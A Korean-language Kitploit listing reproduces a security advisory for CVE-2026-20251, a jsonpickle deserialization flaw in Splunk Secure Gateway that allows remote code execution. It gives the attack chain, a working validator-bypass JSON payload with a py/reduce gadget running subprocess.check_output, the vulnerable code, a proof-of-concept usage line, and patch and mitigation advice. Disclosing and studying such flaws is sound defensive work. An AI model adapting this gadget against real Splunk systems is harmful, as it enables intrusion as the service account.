Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/reactivezero/cve-2026-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubreactivezero/cve-2026-20251

CVE-2026-20251

CVE-2026-20251 — Splunk Secure Gateway jsonpickle 역직렬화 RCE (CVSS 8.8) | ReactiveZero 보안 연구

저장소 보기
31개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-20251 — Splunk Secure Gateway jsonpickle 역직렬화 RCE

연구자: Fady Oueslati · ReactiveZero Security Research
참조: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
상태: 공개 — 패치 제공됨


요약

낮은 권한의 인증된 사용자가 KV Store(mobile_alerts 컬렉션)에 조작된 문서를 저장하여 Splunk 호스트에서 원격 코드 실행을 달성할 수 있습니다. Splunk Secure Gateway(SSG)는 이후 해당 문서를 읽어 jsonpickle.decode()에 직접 전달하며, OS 명령을 실행하는 객체를 포함한 임의의 Python 객체를 재구성합니다.

이 호출은 safe=True를 설정하지만, 이 플래그는 레거시 py/repr eval 경로만 차단합니다. py/reduce, py/object, py/type, py/function, py/module 태그는 영향을 받지 않으며 완전히 악용 가능합니다.

별도의 검증기(check_alert_data_valid_json)는 위험한 태그를 차단하기 위한 것이지만 첫 번째로 인식된 키에서 단락(short-circuit) 평가됩니다. 첫 번째 최상위 키가 허용된 py/object(spacebridgeapp으로 시작하는 값)인 모든 문서는 즉시 True를 반환하며, 악의적인 py/reduce 가젯을 포함한 형제 키들은 전혀 검사되지 않습니다.


영향을 받는 버전

브랜치수정 버전
Splunk Secure Gateway 3.9.x3.9.20
Splunk Secure Gateway 3.10.x3.10.6
Splunk Secure Gateway 3.8.x

테스트 인스턴스: Splunk Enterprise 10.0.6(macOS x86_64)의 SSG 3.9.19.


공격 체인

root@kitploit:~
Step 0  Low-privilege attacker writes a crafted bypass document to the
        'mobile_alerts' KV Store collection via the Splunk REST API.
        No admin or power role required.

Step 1  SSG processes an alert fetch request.
        alerts_request_processor.py reads the document and passes it to
        check_alert_data_valid_json().

        → Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
          returns True, and never inspects the "notification" sibling that
          carries the py/reduce gadget.

Step 2  The (now validated) document is passed to
        jsonpickle.decode(..., safe=True).
        jsonpickle loadclass()es the lure Alert object, instantiates it,
        then iterates its stored attributes. When it reaches the
        "notification" value, _restore_reduce() fires:

            stage1 = f(*args)     # unpickler.py ~line 526

        safe=True has no effect on this code path.

Outcome  Arbitrary code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.

우회 문서 구조

root@kitploit:~
{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["uname", "-a"]]}
    ]
  }
}

검증기는 py/object를 먼저 검사하고(허용됨) True를 반환하며 notification에는 도달하지 않습니다.


개념 증명

poc_cve_2026_20251.py는 전체 익스플로잇 체인을 구성하는 두 가지 조건을 시연합니다:

하위 증명설명

페이로드는 의도적으로 무해합니다(읽기 전용 uname -a). 이는 무기화된 익스플로잇이 아닙니다.

요구 사항

  • Python 3
  • SSG에 번들된 jsonpickle에 대한 접근 권한(/Applications/Splunk/etc/apps/splunk_secure_gateway/lib에서 로드됨)
  • 로컬의 승인된 Splunk 연구 인스턴스

사용법

root@kitploit:~
python3 poc_cve_2026_20251.py -h 127.0.0.1

프로덕션 시스템 또는 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에서 실행하지 마십시오.


근본 원인

파일: bin/spacebridgeapp/request/alerts_request_processor.py

root@kitploit:~
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)   # ← sink

파일: bin/spacebridgeapp/rest/devices/alert_helper.py

root@kitploit:~
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # ← returns immediately
        else:
            return False
    # ... sibling keys are never reached

해결 방법

1차 조치: Splunk Secure Gateway를 패치 버전(3.9.20+, 3.10.6+ 또는 3.8.67+)으로 업그레이드하고 Splunk Enterprise를 10.0.7+ / 10.2.4+ / 10.4.0+로 업그레이드하십시오.

단기 완화 조치(패치가 즉시 불가능한 경우):

  • Splunk Secure Gateway 앱이 활발히 사용되지 않는 경우 비활성화
  • KV Store 쓰기 접근 제한: 최소 권한 역할을 적용하고 mobile_alerts의 컬렉션 수준 ACL을 검토

방어적 엔지니어링 패턴: 외부 입력의 영향을 받는 저장 데이터에서 임의의 타입을 재구성하지 마십시오. 공격자가 접근 가능한 입력에 대한 jsonpickle.decode()를 엄격한 스키마 검증 파서로 대체하거나 decode()에 명시적인 classes= 허용 목록을 제공하십시오. 검증 루틴이 첫 번째로 인식된 키에서 단락 평가되는 대신 중첩 구조를 완전히 순회하도록 하십시오.


CVE-2026-20253 참고 사항

동일한 권고 배치에는 CVE-2026-20253(CVSS 9.8, PostgreSQL 사이드카 엔드포인트를 통한 인증 없는 임의 파일 생성)이 포함되어 있습니다. 이 취약점은 테스트된 Splunk Enterprise 10.0.6의 macOS x86_64 빌드에는 존재하지 않았습니다: PostgreSQL 사이드카 구성 요소는 이 플랫폼에 포함되지 않으며, 사이드카 바이너리나 프로세스가 존재하지 않고 해당 포트도 관찰되지 않았습니다.

이는 중요한 보증 원칙을 보여줍니다: 영향을 받는 버전 문자열은 악용 가능성의 필요 조건이지 충분 조건이 아닙니다. 구성 요소 수준의 검증은 실제 위험 상황을 실질적으로 변화시킵니다.


테스트 세부 정보

필드값
테스트 참조2026FO-SPLUNK-20251
테스트 유형화이트박스 취약점 검증(정적 코드 분석)
날짜2026년 6월 26일
범위로컬 Splunk Enterprise 10.0.6 연구 인스턴스(127.0.0.1:8089)

ReactiveZero Security Research

도구 다운로드
3.8.67
Splunk Enterprise10.0.7 / 10.2.4 / 10.4.0+
A — 검증기 우회
check_alert_data_valid_json()이 우회 문서에 대해 True를 반환하며 형제 값의 py/reduce 가젯을 전혀 검사하지 않음
B — py/reduce 실행jsonpickle.decode(..., safe=True)가 subprocess.check_output(['uname', '-a'])를 실행하여 safe=True가 이 코드 경로를 차단하지 않음을 입증
분류기밀